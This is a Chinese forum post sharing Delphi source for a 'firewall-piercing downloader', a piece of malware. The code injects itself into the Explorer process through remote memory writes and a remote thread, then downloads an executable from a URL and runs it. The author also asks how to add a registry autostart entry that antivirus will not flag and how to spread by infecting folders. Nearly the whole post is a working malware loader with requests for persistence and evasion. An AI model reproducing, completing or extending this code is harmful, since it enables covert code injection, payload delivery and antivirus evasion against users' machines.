人气:
放大
缩小
二维码
赞赏
delphi一个简单的穿墙下载者
一个简单的穿墙下载者 写了一个穿墙的下载者 没加入启动项 本人菜 所以把代码贴出来 希望大家 告诉下 如果写入注册表启动项 而且不被杀软误报 看到一个人写的 下载者 感染所有文件夹 随便某个盘符的文件夹点击后就可以启动下载者 真是汗有知道也说下 是什么方法 下面是代码 希望大侠帮忙看下 program Project1; {$IMAGEBASE $12120000} //============================================================================= uses windows, UrlMon; //============================================================================= Function Main(dwEntryPoint:Pointer):LongWord;stdcall; begin URLDownloadToFile(nil,'http://www.baidu.cn/1.exe','C:\1.exe', 0,nil); WinExec('C:\1.exe', SW_SHOW); Result:=0; end; //============================================================================= procedure Inject(ProcessHandle: longword; EntryPoint: pointer); var Module, NewModule: Pointer; Size, BytesWritten, TID: longword; begin Module := Pointer(GetModuleHandle(nil)); Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE); NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten); CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); end; //============================================================================= var PID,ProcessHandle:LongWord; begin GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID); ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID); Inject(ProcessHandle,@Main); CloseHandle(ProcessHandle); end. //=============================================================================